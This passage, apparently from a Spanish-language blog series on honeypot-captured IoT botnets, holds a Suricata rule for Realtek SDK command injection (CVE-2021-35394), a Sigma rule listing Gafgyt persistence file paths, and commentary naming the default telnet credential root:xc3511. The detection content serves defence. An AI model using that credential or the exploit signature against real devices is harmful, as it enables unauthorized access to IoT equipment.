alert udp any any -> $HOME_NET 9034 (msg:"Realtek SDK UDPServer: inyeccion de comandos (CVE-2021-35394)"; content:"orf|3b|"; startswith; reference:cve,2021-35394; classtype:attempted-admin; sid:9115022; rev:1;)

En el equipo, la persistencia de handshakebins es ruidosa y tiene nombres fijos:

title: Persistencia de handshakebins (Gafgyt ARM)
id: 6d2b8f41-0c3a-4e57-9b1e-7a4c2f9d8e30
status: experimental
logsource:
  product: linux
  category: file_event
detection:
  selection:
    TargetFilename:
      - '/etc/systemd/system/bot.service'
      - '/etc/init.d/S99bot'
      - '/etc/init.d/bot'
      - '/etc/profile.d/bot.sh'
      - '/etc/config/bot'
      - '/tmp/.kworker'
      - '/var/tmp/.kworker'
      - '/dev/shm/.kworker'
  condition: selection
level: high
tags:
  - attack.persistence
  - attack.t1543.002
  - attack.t1037.004

Ninguna de estas reglas detecta a la siguiente botnet. Detectan a esta, que cambió de C2, de menú y de killer en cuatro semanas sin cambiar el nombre de un solo archivo de persistencia.


Lo que más me queda de estos binarios es la distancia entre el trabajo puesto y el trabajo que sirve. El autor de handshakebins escribió a mano un handshake TLS con curvas elípticas y dejó una lista de User-Agent de 2015. Agregó contraseñas de fábrica de cámaras chinas que su escáner nunca prueba. El de iran.* escribió catorce líneas de instalador casi iguales y una tiene un espacio de menos. Ninguno de los dos necesitaba más: con doce credenciales y un instalador que funcione en la mitad de los equipos, una botnet crece igual. Internet sigue teniendo suficientes telnets con root:xc3511 para que el descuido salga gratis.

La entrega siguiente sigue el dinero por otro camino: los que no querían el equipo para atacar a nadie, sino para minar Monero con él, y los que llegaron por Docker con una imagen propia en la mano: Ochenta y seis días de señuelo · IV — Minar en casa ajena.

commit 0xD8BF

Date: 2026-11-11 21:47 PM

creds[12..122]: unreachable; shipping anyway